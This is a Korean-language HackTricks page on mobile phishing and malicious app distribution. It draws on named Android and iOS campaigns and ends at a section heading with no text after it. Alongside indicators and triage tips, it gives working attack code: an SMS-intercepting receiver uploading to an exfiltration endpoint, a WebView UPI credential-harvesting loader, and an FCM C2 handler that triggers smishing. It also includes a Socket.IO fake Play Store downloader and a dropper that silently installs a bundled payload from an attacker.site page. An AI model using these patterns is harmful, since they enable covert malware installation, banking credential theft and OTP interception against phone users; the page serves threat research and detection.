Mobile Phishing & ์•…์„ฑ ์•ฑ ์œ ํฌ (Android & iOS)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

[!INFO] ์ด ํŽ˜์ด์ง€๋Š” ์œ„ํ˜‘ ํ–‰์œ„์ž๋“ค์ด SEO, social engineering, ๊ฐ€์งœ ์Šคํ† ์–ด, ๋ฐ์ดํŒ… ์•ฑ ๋“ฑ phishing์„ ํ†ตํ•ด malicious Android APKs ๋ฐ iOS mobile-configuration profiles๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” ๊ธฐ๋ฒ•์„ ๋‹ค๋ฃน๋‹ˆ๋‹ค. ์ž๋ฃŒ๋Š” SarangTrap ์บ ํŽ˜์ธ( Zimperium zLabs (2025) )๊ณผ ๊ธฐํƒ€ ๊ณต๊ฐœ ์—ฐ๊ตฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ํ๋ฆ„

  1. SEO/Phishing Infrastructure
  • ์œ ์‚ฌ ๋„๋ฉ”์ธ์„ ์ˆ˜์‹ญ ๊ฐœ ๋“ฑ๋ก(๋ฐ์ดํŒ…, cloud share, car service ๋“ฑโ€ฆ). โ€“ <title> ์š”์†Œ์— ํ˜„์ง€ ์–ธ์–ด ํ‚ค์›Œ๋“œ์™€ ์ด๋ชจ์ง€๋ฅผ ์‚ฌ์šฉํ•ด Google์—์„œ ์ˆœ์œ„๋ฅผ ์˜ฌ๋ฆผ. โ€“ ๋™์ผ ๋žœ๋”ฉ ํŽ˜์ด์ง€์— Android (.apk)์™€ iOS ์„ค์น˜ ์ง€์นจ์„ ๋‘˜ ๋‹ค ํ˜ธ์ŠคํŒ….
  1. 1์ฐจ ๋‹ค์šด๋กœ๋“œ
  • Android: ์„œ๋ช…๋˜์ง€ ์•Š์€(unsigned) ๋˜๋Š” โ€œthird-party storeโ€ APK๋กœ์˜ ์ง์ ‘ ๋งํฌ.
  • iOS: itms-services:// ๋˜๋Š” ์•…์„ฑ mobileconfig ํ”„๋กœํŒŒ์ผ๋กœ์˜ ํ‰๋ฌธ HTTPS ๋งํฌ(์•„๋ž˜ ์ฐธ์กฐ).
  1. ์„ค์น˜ ํ›„ Social Engineering
  • ์ตœ์ดˆ ์‹คํ–‰ ์‹œ ์•ฑ์ด invitation / verification code(๋…์  ์ ‘๊ทผ ํ™˜์ƒ)๋ฅผ ์š”๊ตฌ.
  • ์ฝ”๋“œ๋Š” Command-and-Control (C2)์— HTTP POST๋กœ ์ „์†ก๋œ๋‹ค.
  • C2๊ฐ€ {"success":true}๋ฅผ ์‘๋‹ตํ•˜๋ฉด โžœ malware๊ฐ€ ๋™์ž‘์„ ๊ณ„์†ํ•œ๋‹ค.
  • ์œ ํšจํ•œ ์ฝ”๋“œ๋ฅผ ์ œ์ถœํ•˜์ง€ ์•Š๋Š” Sandbox/AV ๋™์  ๋ถ„์„์€ ์•…์„ฑ ํ–‰์œ„ ์—†์Œ์„ ๊ด€์ฐฐ(ํšŒํ”ผ).
  1. Runtime Permission Abuse (Android)
  • ์œ„ํ—˜ํ•œ ๊ถŒํ•œ์€ C2์˜ ๊ธ์ • ์‘๋‹ต ํ›„์—๋งŒ ์š”์ฒญ๋œ๋‹ค:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->
  • ์ตœ์‹  ๋ณ€์ข…์€ AndroidManifest.xml์—์„œ SMS์— ๋Œ€ํ•œ <uses-permission>์„ ์ œ๊ฑฐํ•˜์ง€๋งŒ Java/Kotlin์˜ reflection์œผ๋กœ SMS๋ฅผ ์ฝ๋Š” ์ฝ”๋“œ ๊ฒฝ๋กœ๋Š” ๋‚จ๊ฒจ๋‘  โ‡’ ์ •์  ์ ์ˆ˜๋ฅผ ๋‚ฎ์ถ”๋ฉด์„œ๋„ AppOps abuse ๋˜๋Š” ์˜ค๋ž˜๋œ ํƒ€๊นƒ์—์„œ ๊ถŒํ•œ์ด ํ—ˆ์šฉ๋˜๋ฉด ์—ฌ์ „ํžˆ ๋™์ž‘.
  1. ์œ„์žฅ UI ๋ฐ ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ˆ˜์ง‘
  • ์•ฑ์€ ๋กœ์ปฌ๋กœ ๊ตฌํ˜„๋œ ๋ฌดํ•ดํ•œ ๋ทฐ(SMS viewer, gallery picker)๋ฅผ ํ‘œ์‹œ.
  • ๋™์‹œ์— ๋‹ค์Œ์„ ์œ ์ถœ:
  • IMEI / IMSI, ์ „ํ™”๋ฒˆํ˜ธ
  • ์ „์ฒด ContactsContract ๋คํ”„(JSON ๋ฐฐ์—ด)
  • /sdcard/DCIM์˜ JPEG/PNG๋ฅผ Luban์œผ๋กœ ์••์ถ•ํ•˜์—ฌ ํฌ๊ธฐ ์ถ•์†Œ
  • ์„ ํƒ์  SMS ๋‚ด์šฉ(content://sms) ํŽ˜์ด๋กœ๋“œ๋Š” ๋ฐฐ์น˜๋กœ zip๋˜์–ด HTTP POST /upload.php๋กœ ์ „์†ก๋œ๋‹ค.
  1. iOS ์ „๋‹ฌ ๊ธฐ๋ฒ•
  • ํ•˜๋‚˜์˜ mobile-configuration profile๋กœ PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration ๋“ฑ ์„ ์š”์ฒญํ•ด ๊ธฐ๊ธฐ๋ฅผ โ€œMDMโ€-์œ ์‚ฌ ๊ฐ๋…์— ๋“ฑ๋ก์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.
  • ์‚ฌํšŒ๊ณตํ•™์  ์ง€์นจ:
  1. ์„ค์ • ์—ด๊ธฐ โžœ Profile downloaded.
  2. Install์„ ์„ธ ๋ฒˆ ํƒญ(ํ”ผ์‹ฑ ํŽ˜์ด์ง€์˜ ์Šคํฌ๋ฆฐ์ƒท ์ฐธ๊ณ ).
  3. ์„œ๋ช…๋˜์ง€ ์•Š์€ ํ”„๋กœํŒŒ์ผ์„ ์‹ ๋ขฐ โžœ ๊ณต๊ฒฉ์ž๊ฐ€ App Store review ์—†์ด Contacts ๋ฐ Photo entitlement๋ฅผ ํš๋“.
  4. ๋„คํŠธ์›Œํฌ ๋ ˆ์ด์–ด
  • ํ‰๋ฌธ HTTP, ์ข…์ข… ํฌํŠธ 80์—์„œ HOST ํ—ค๋” ์˜ˆ: api.<phishingdomain>.com.
  • User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (TLS ์—†์Œ โ†’ ํƒ์ง€ ์‰ฌ์›€).

Red-Team ํŒ

  • Dynamic Analysis Bypass โ€“ ๋งฌ์›จ์–ด ํ‰๊ฐ€ ์‹œ Frida/Objection์œผ๋กœ invitation code ๋‹จ๊ณ„๋ฅผ ์ž๋™ํ™”ํ•ด ์•…์„ฑ ๋ถ„๊ธฐ๋กœ ๋„๋‹ฌ.
  • Manifest vs. Runtime Diff โ€“ aapt dump permissions์™€ ๋Ÿฐํƒ€์ž„ PackageManager#getRequestedPermissions()๋ฅผ ๋น„๊ต; ์œ„ํ—˜ ๊ถŒํ•œ์ด ๋ˆ„๋ฝ๋œ ๊ฒฝ์šฐ ๋ ˆ๋“œ ํ”Œ๋ž˜๊ทธ.
  • Network Canary โ€“ ์ฝ”๋“œ ์ž…๋ ฅ ํ›„ ๋ถˆ์•ˆ์ •ํ•œ POST ํญ์ฃผ๋ฅผ ํƒ์ง€ํ•˜๋ ค๋ฉด iptables -p tcp --dport 80 -j NFQUEUE ๊ตฌ์„ฑ.
  • mobileconfig Inspection โ€“ macOS์—์„œ security cms -D -i profile.mobileconfig๋ฅผ ์‚ฌ์šฉํ•ด PayloadContent๋ฅผ ๋‚˜์—ดํ•˜๊ณ  ๊ณผ๋„ํ•œ entitlements๋ฅผ ์ฐพ์•„๋ผ.

์œ ์šฉํ•œ Frida ์Šค๋‹ˆํŽซ: ์ดˆ๋Œ€ ์ฝ”๋“œ ์ž๋™ ์šฐํšŒ

Frida: ์ดˆ๋Œ€ ์ฝ”๋“œ ์ž๋™ ์šฐํšŒ ```javascript // frida -U -f com.badapp.android -l bypass.js --no-pause // Hook HttpURLConnection write to always return success Java.perform(function() { var URL = Java.use('java.net.URL'); URL.openConnection.implementation = function() { var conn = this.openConnection(); var HttpURLConnection = Java.use('java.net.HttpURLConnection'); if (Java.cast(conn, HttpURLConnection)) { conn.getResponseCode.implementation = function(){ return 200; }; conn.getInputStream.implementation = function(){ return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes()); }; } return conn; }; }); ```

์ง€ํ‘œ (์ผ๋ฐ˜)

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) โ€“ Dropper + FCM C2 Pattern

์ด ํŒจํ„ด์€ ์ •๋ถ€ ํ˜œํƒ ํ…Œ๋งˆ๋ฅผ ์•…์šฉํ•ด ์ธ๋„ UPI ์ž๊ฒฉ์ฆ๋ช…๊ณผ OTP๋ฅผ ํƒˆ์ทจํ•˜๋Š” ์บ ํŽ˜์ธ์—์„œ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์šด์˜์ž๋Š” ๋ฐฐํฌ์™€ ๋ณต์›๋ ฅ์„ ์œ„ํ•ด ํ‰ํŒ ์žˆ๋Š” ํ”Œ๋žซํผ๋“ค์„ ์—ฐ์‡„์ ์œผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

Delivery chain across trusted platforms

  • YouTube ๋น„๋””์˜ค ๋ฏธ๋ผ โ†’ ์„ค๋ช…์— ๋‹จ์ถ• ๋งํฌ ํฌํ•จ
  • ๋‹จ์ถ• ๋งํฌ โ†’ ์ •์‹ ํฌํ„ธ์„ ๋ชจ๋ฐฉํ•œ GitHub Pages ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ
  • ๋™์ผํ•œ GitHub repo๋Š” ํŒŒ์ผ๋กœ ์ง์ ‘ ์—ฐ๊ฒฐ๋˜๋Š” ๊ฐ€์งœ โ€œGoogle Playโ€ ๋ฐฐ์ง€๊ฐ€ ๋ถ™์€ APK๋ฅผ ํ˜ธ์ŠคํŒ…ํ•จ
  • ๋™์  ํ”ผ์‹ฑ ํŽ˜์ด์ง€๋Š” Replit์— ํ˜ธ์ŠคํŒ…๋˜๊ณ ; ์›๊ฒฉ ๋ช…๋ น ์ฑ„๋„์€ Firebase Cloud Messaging (FCM)์„ ์‚ฌ์šฉํ•จ

Dropper with embedded payload and offline install

  • ์ฒซ ๋ฒˆ์งธ APK๋Š” installer (dropper)๋กœ, ์‹ค์ œ ์•…์„ฑ์ฝ”๋“œ๋ฅผ assets/app.apk๋กœ ํฌํ•จํ•˜์—ฌ ์ œ๊ณตํ•˜๊ณ  ํด๋ผ์šฐ๋“œ ํƒ์ง€๋ฅผ ์•ฝํ™”์‹œํ‚ค๊ธฐ ์œ„ํ•ด Wiโ€‘Fi/๋ชจ๋ฐ”์ผ ๋ฐ์ดํ„ฐ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์‚ฌ์šฉ์ž์—๊ฒŒ ์š”์ฒญํ•จ.
  • ๋‚ด์žฅ๋œ payload๋Š” ๋ฌดํ•ดํ•œ ๋ผ๋ฒจ(์˜ˆ: โ€œSecure Updateโ€)๋กœ ์„ค์น˜๋จ. ์„ค์น˜ ํ›„์—๋Š” ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ๊ณผ payload๊ฐ€ ๋ณ„๊ฐœ์˜ ์•ฑ์œผ๋กœ ๋ชจ๋‘ ์กด์žฌํ•จ.

Static triage tip (grep for embedded payloads):

unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head

shortlink๋ฅผ ํ†ตํ•œ ๋™์  ์—”๋“œํฌ์ธํŠธ ๋ฐœ๊ฒฌ

  • Malware๋Š” shortlink์—์„œ ํ‰๋ฌธ(plain-text), ์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํ™œ์„ฑ ์—”๋“œํฌ์ธํŠธ ๋ชฉ๋ก์„ ๊ฐ€์ ธ์˜ค๋ฉฐ; ๊ฐ„๋‹จํ•œ ๋ฌธ์ž์—ด ๋ณ€ํ™˜์œผ๋กœ ์ตœ์ข… phishing ํŽ˜์ด์ง€ ๊ฒฝ๋กœ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ(์ต๋ช…ํ™”๋จ):

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" โ†’ "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

์˜์‚ฌ ์ฝ”๋“œ:

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

WebView ๊ธฐ๋ฐ˜ UPI credential harvesting

  • โ€œMake payment of โ‚น1 / UPIโ€‘Liteโ€ ๋‹จ๊ณ„์—์„œ ๋™์  ์—”๋“œํฌ์ธํŠธ๋กœ๋ถ€ํ„ฐ ๊ณต๊ฒฉ์ž HTML ํผ์„ WebView ๋‚ด๋ถ€์— ๋กœ๋“œํ•˜์—ฌ ์ „ํ™”๋ฒˆํ˜ธ, ์€ํ–‰, UPI PIN ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ํ•„๋“œ๋ฅผ ์บก์ฒ˜ํ•œ ๋’ค ์ด๋ฅผ addup.php๋กœ POSTํ•ฉ๋‹ˆ๋‹ค.

Minimal loader:

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Self-propagation and SMS/OTP interception

  • ์ฒ˜์Œ ์‹คํ–‰ ์‹œ ๊ณผ๋„ํ•œ ๊ถŒํ•œ์„ ์š”์ฒญํ•จ:
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
  • ์—ฐ๋ฝ์ฒ˜๋ฅผ ์ˆœํšŒํ•˜์—ฌ ํ”ผํ•ด์ž ๊ธฐ๊ธฐ์—์„œ smishing SMS๋ฅผ ๋Œ€๋Ÿ‰ ๋ฐœ์†กํ•ฉ๋‹ˆ๋‹ค.
  • ์ˆ˜์‹ ๋œ SMS๋Š” broadcast receiver์— ์˜ํ•ด ๊ฐ€๋กœ์ฑ„์–ด์ ธ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ (sender, body, SIM slot, per-device random ID)์™€ ํ•จ๊ป˜ /addsm.php๋กœ ์—…๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

Receiver sketch:

public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM)์„ ํ†ตํ•œ ๋ณต์›๋ ฅ ์žˆ๋Š” C2

  • ํŽ˜์ด๋กœ๋“œ๋Š” FCM์— ๋“ฑ๋ก๋˜๋ฉฐ; ํ‘ธ์‹œ ๋ฉ”์‹œ์ง€๋Š” ๋™์ž‘์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋Š” ์Šค์œ„์น˜๋กœ ์‚ฌ์šฉ๋˜๋Š” _type ํ•„๋“œ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: phishing ํ…์ŠคํŠธ ํ…œํ”Œ๋ฆฟ ์—…๋ฐ์ดํŠธ, ๋™์ž‘ ์ „ํ™˜).

์˜ˆ์‹œ FCM ํŽ˜์ด๋กœ๋“œ:

{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

Handler ๊ฐœ์š”:

@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

์ง€ํ‘œ/IOC

  • APK์—๋Š” ๋ณด์กฐ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ํฌํ•จ๋จ: assets/app.apk
  • WebView๊ฐ€ gate.htm์—์„œ ๊ฒฐ์ œ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ณ  /addup.php๋กœ ์œ ์ถœํ•จ
  • SMS ์œ ์ถœ์ด /addsm.php๋กœ ์ „์†ก๋จ
  • Shortlink ๊ธฐ๋ฐ˜ ๊ตฌ์„ฑ ๊ฐ€์ ธ์˜ค๊ธฐ(์˜ˆ: rebrand.ly/*)๊ฐ€ CSV ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐ˜ํ™˜ํ•จ
  • ์ผ๋ฐ˜์ ์œผ๋กœ โ€œUpdate/Secure Updateโ€๋กœ ํ‘œ์‹œ๋œ ์•ฑ๋“ค
  • ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์•ฑ์—์„œ _type ๊ตฌ๋ถ„์ž๊ฐ€ ํฌํ•จ๋œ FCM data ๋ฉ”์‹œ์ง€

Socket.IO/WebSocket ๊ธฐ๋ฐ˜ APK ๋ฐ€๋ฐ˜์ž… + ๊ฐ€์งœ Google Play ํŽ˜์ด์ง€

๊ณต๊ฒฉ์ž๋“ค์€ ์ •์  APK ๋งํฌ๋ฅผ Google Play์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ์œ ์ธ๋ฌผ์— ๋‚ด์žฅ๋œ Socket.IO/WebSocket ์ฑ„๋„๋กœ ๋Œ€์ฒดํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋Š˜๊ณ  ์žˆ๋‹ค. ์ด๋Š” ํŽ˜์ด๋กœ๋“œ URL์„ ์ˆจ๊ธฐ๊ณ , URL/ํ™•์žฅ์ž ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๋ฉฐ, ํ˜„์‹ค์ ์ธ ์„ค์น˜ UX๋ฅผ ์œ ์ง€ํ•œ๋‹ค.

์‹ค์ „์—์„œ ๊ด€์ฐฐ๋œ ์ „ํ˜•์ ์ธ ํด๋ผ์ด์–ธํŠธ ํ๋ฆ„:

Socket.IO ๊ฐ€์งœ Play ๋‹ค์šด๋กœ๋” (JavaScript) ```javascript // Open Socket.IO channel and request payload const socket = io("wss:///ws", { transports: ["websocket"] }); socket.emit("startDownload", { app: "com.example.app" });

// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(โ€œchunkโ€, (chunk) => chunks.push(chunk)); socket.on(โ€œdownloadProgressโ€, (p) => updateProgressBar(p));

// Assemble APK clientโ€‘side and trigger browser save dialog socket.on(โ€œdownloadCompleteโ€, () => { const blob = new Blob(chunks, { type: โ€œapplication/vnd.android.package-archiveโ€ }); const url = URL.createObjectURL(blob); const a = document.createElement(โ€œaโ€); a.href = url; a.download = โ€œapp.apkโ€; a.style.display = โ€œnoneโ€; document.body.appendChild(a); a.click(); });

</details>

๊ฐ„๋‹จํ•œ ๋ณด์•ˆ ์ œ์–ด๋ฅผ ํšŒํ”ผํ•˜๋Š” ์ด์œ :
- ์ •์  APK URL์ด ๋…ธ์ถœ๋˜์ง€ ์•Š์Œ; ํŽ˜์ด๋กœ๋“œ๋Š” WebSocket ํ”„๋ ˆ์ž„์—์„œ ๋ฉ”๋ชจ๋ฆฌ์ƒ์œผ๋กœ ์žฌ๊ตฌ์„ฑ๋จ.
- ์ง์ ‘ .apk ์‘๋‹ต์„ ์ฐจ๋‹จํ•˜๋Š” URL/MIME/extension ํ•„ํ„ฐ๋Š” WebSockets/Socket.IO๋ฅผ ํ†ตํ•ด ํ„ฐ๋„๋ง๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฅผ ๋†“์น  ์ˆ˜ ์žˆ์Œ.
- WebSockets๋ฅผ ์‹คํ–‰ํ•˜์ง€ ์•Š๋Š” Crawlers ๋ฐ URL sandboxes๋Š” ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ฐ€์ ธ์˜ค์ง€ ๋ชปํ•จ.

์ฐธ๊ณ : WebSocket ๊ด€๋ จ ๊ธฐ๋ฒ• ๋ฐ ํˆด๋ง:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS ์ž๋™ํ™”, ๋ฐ NFC relay ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜ โ€“ RatOn ์‚ฌ๋ก€ ์—ฐ๊ตฌ

RatOn banker/RAT ์บ ํŽ˜์ธ(ThreatFabric)์€ ํ˜„๋Œ€ ๋ชจ๋ฐ”์ผ ํ”ผ์‹ฑ ์ž‘์ „์ด WebView droppers, Accessibility ๊ธฐ๋ฐ˜ UI ์ž๋™ํ™”, overlays/ransom, Device Admin ๊ฐ•์š”, Automated Transfer System (ATS), crypto wallet ํƒˆ์ทจ, ์‹ฌ์ง€์–ด NFC-relay ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ด์…˜๊นŒ์ง€ ์–ด๋–ป๊ฒŒ ๊ฒฐํ•ฉ๋˜๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ๋Œ€ํ‘œ์ ์ธ ์‚ฌ๋ก€์ด๋‹ค. ์ด ์„น์…˜์—์„œ๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ธฐ๋ฒ•๋“ค์„ ์ถ”์ƒํ™”ํ•˜์—ฌ ์„ค๋ช…ํ•œ๋‹ค.

### Stage-1: WebView โ†’ native install bridge (dropper)

๊ณต๊ฒฉ์ž๋Š” ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” WebView๋ฅผ ํ‘œ์‹œํ•˜๊ณ , ๋„ค์ดํ‹ฐ๋ธŒ ์„ค์น˜๊ธฐ๋ฅผ ๋…ธ์ถœํ•˜๋Š” JavaScript ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ธ์ ์…˜ํ•œ๋‹ค. HTML ๋ฒ„ํŠผ์„ ํƒญํ•˜๋ฉด ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ๊ฐ€ ํ˜ธ์ถœ๋˜์–ด dropper์˜ assets์— ๋ฒˆ๋“ค๋œ 2๋‹จ๊ณ„ APK๋ฅผ ์„ค์น˜ํ•˜๊ณ  ๋ฐ”๋กœ ์‹คํ–‰ํ•œ๋‹ค.

์ตœ์†Œ ํŒจํ„ด:

<details>
<summary>Stage-1 dropper ์ตœ์†Œ ํŒจํ„ด (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

ํŽ˜์ด์ง€์˜ HTML:

<button onclick="bridge.installApk()">Install</button>

์„ค์น˜ ํ›„, dropper๋Š” ๋ช…์‹œ์  package/activity๋ฅผ ํ†ตํ•ด payload๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ์•ฑ์ด addJavascriptInterface()๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  WebView์— ์„ค์น˜์ž์™€ ์œ ์‚ฌํ•œ ๋ฉ”์„œ๋“œ๋ฅผ ๋…ธ์ถœ; APK๊ฐ€ assets/ ์•„๋ž˜์— ์ž„๋ฒ ๋””๋“œ๋œ 2์ฐจ ํŽ˜์ด๋กœ๋“œ๋ฅผ ํฌํ•จํ•˜๊ณ  Package Installer Session API๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ.

Stage-2๋Š” WebView๋ฅผ ์—ด์–ด โ€œAccessโ€ ํŽ˜์ด์ง€๋ฅผ ํ˜ธ์ŠคํŒ…ํ•œ๋‹ค. ํ•ด๋‹น ํŽ˜์ด์ง€์˜ ๋ฒ„ํŠผ์€ export๋œ ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•ด ํ”ผํ•ด์ž๋ฅผ Accessibility ์„ค์ •์œผ๋กœ ์ด๋™์‹œํ‚ค๊ณ  ์•…์„ฑ ์„œ๋น„์Šค๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋„๋ก ์š”์ฒญํ•œ๋‹ค. ์Šน์ธ๋˜๋ฉด, ์•…์„ฑ์ฝ”๋“œ๋Š” Accessibility๋ฅผ ์‚ฌ์šฉํ•ด ์ดํ›„ ๋Ÿฐํƒ€์ž„ ๊ถŒํ•œ ๋Œ€ํ™”์ƒ์ž(contacts, overlay, manage system settings ๋“ฑ)๋ฅผ ์ž๋™์œผ๋กœ ํด๋ฆญํ•˜๊ณ  Device Admin์„ ์š”์ฒญํ•œ๋‹ค.

  • Accessibility๋Š” ํ”„๋กœ๊ทธ๋ž˜๋ฐ์ ์œผ๋กœ node-tree์—์„œ โ€œAllowโ€/โ€œOKโ€ ๊ฐ™์€ ๋ฒ„ํŠผ์„ ์ฐพ์•„ ํด๋ฆญ์„ ์‹คํ–‰ํ•˜์—ฌ ์ดํ›„ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์ˆ˜๋ฝํ•˜๋„๋ก ๋•๋Š”๋‹ค.
  • Overlay ๊ถŒํ•œ ํ™•์ธ/์š”์ฒญ:
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

์ฐธ๊ณ :

Accessibility Services Abuse

WebView๋ฅผ ํ†ตํ•œ ์˜ค๋ฒ„๋ ˆ์ด ํ”ผ์‹ฑ/๋žœ์„ฌ

์šด์˜์ž๋Š” ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

  • URL์—์„œ ์ „์ฒด ํ™”๋ฉด ์˜ค๋ฒ„๋ ˆ์ด๋ฅผ ๋ Œ๋”๋งํ•˜๊ฑฐ๋‚˜,
  • WebView ์˜ค๋ฒ„๋ ˆ์ด์— ๋กœ๋“œ๋˜๋Š” ์ธ๋ผ์ธ HTML์„ ์ „๋‹ฌํ•œ๋‹ค.

๊ฐ€๋Šฅํ•œ ์‚ฌ์šฉ ์‚ฌ๋ก€: ๊ฐ•์š”(PIN ์ž…๋ ฅ), PIN์„ ์บก์ฒ˜ํ•˜๊ธฐ ์œ„ํ•œ ์ง€๊ฐ‘ ์—ด๊ธฐ, ๋žœ์„ฌ ๋ฉ”์‹œ์ง€ ์ „์†ก. ์˜ค๋ฒ„๋ ˆ์ด ๊ถŒํ•œ์ด ์—†๋Š” ๊ฒฝ์šฐ๋ฅผ ๋Œ€๋น„ํ•ด ๊ถŒํ•œ์„ ํ™•์ธ/์š”์ฒญํ•˜๋Š” ๋ช…๋ น์„ ์œ ์ง€ํ•˜๋ผ.

์›๊ฒฉ ์ œ์–ด ๋ชจ๋ธ โ€“ ํ…์ŠคํŠธ ์œ ์‚ฌ ํ™”๋ฉด + ํ™”๋ฉด ์ „์†ก

